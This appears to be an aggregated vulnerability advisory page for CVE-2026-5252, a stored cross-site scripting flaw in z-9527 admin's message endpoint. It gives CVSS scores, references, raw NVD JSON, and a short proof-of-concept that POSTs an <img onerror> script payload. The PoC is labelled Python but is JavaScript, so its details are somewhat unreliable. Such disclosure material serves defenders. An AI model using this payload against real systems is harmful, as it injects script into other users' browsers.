CVE-2026-5252

Description

A security flaw has been discovered in z-9527 admin 1.0/2.0. Affected is an unknown function of the file /server/routes/message.js of the component Message Create Endpoint. Performing a manipulation results in cross site scripting. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

3.5

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

z-9527 admin 1.0

z-9527 admin 2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-5252
// Target: z-9527 admin Message Create Endpoint
// Description: Injecting script into the message content

fetch('http://target-server/server/routes/message', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Cookie': 'session_id=low_priv_user_session'
    },
    body: JSON.stringify({
        "sender": "attacker",
        "content": "<img src=x onerror=alert('CVE-2026-5252-XSS')>"
    })
})
.then(response => response.text())
.then(data => console.log('Exploit sent:', data));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5252
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5252
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5252/
[4] VulDB https://vuldb.com/cve/CVE-2026-5252
[5] https://github.com/CC-T-454455/Vulnerabilities/tree/master/z9527-admin/vulnerability-10
[6] https://vuldb.com/submit/780613
[7] https://vuldb.com/vuln/354442
[8] https://vuldb.com/vuln/354442/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5252", "sourceIdentifier": "[email protected]", "published": "2026-04-01T04:17:11.457", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in z-9527 admin 1.0/2.0. Affected is an unknown function of the file /server/routes/message.js of the component Message Create Endpoint. Performing a manipulation results in cross site scripting. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una falla de seguridad ha sido descubierta en z-9527 admin 1.0/2.0. Afectada es una función desconocida del archivo /servidor/routes/message.js del componente Message Create Endpoint. Realizar una manipulación resulta en cross site scripting. El ataque puede ser iniciado remotamente. El exploit ha sido liberado al público y puede ser usado para ataques. El proveedor fue contactado tempranamente sobre esta divulgación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/CC-T-454455/Vulnerabilities/tree/master/z9527-admin/vulnerability-10", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/780613", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354442", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354442/cti", "source": "[email protected]"}]}}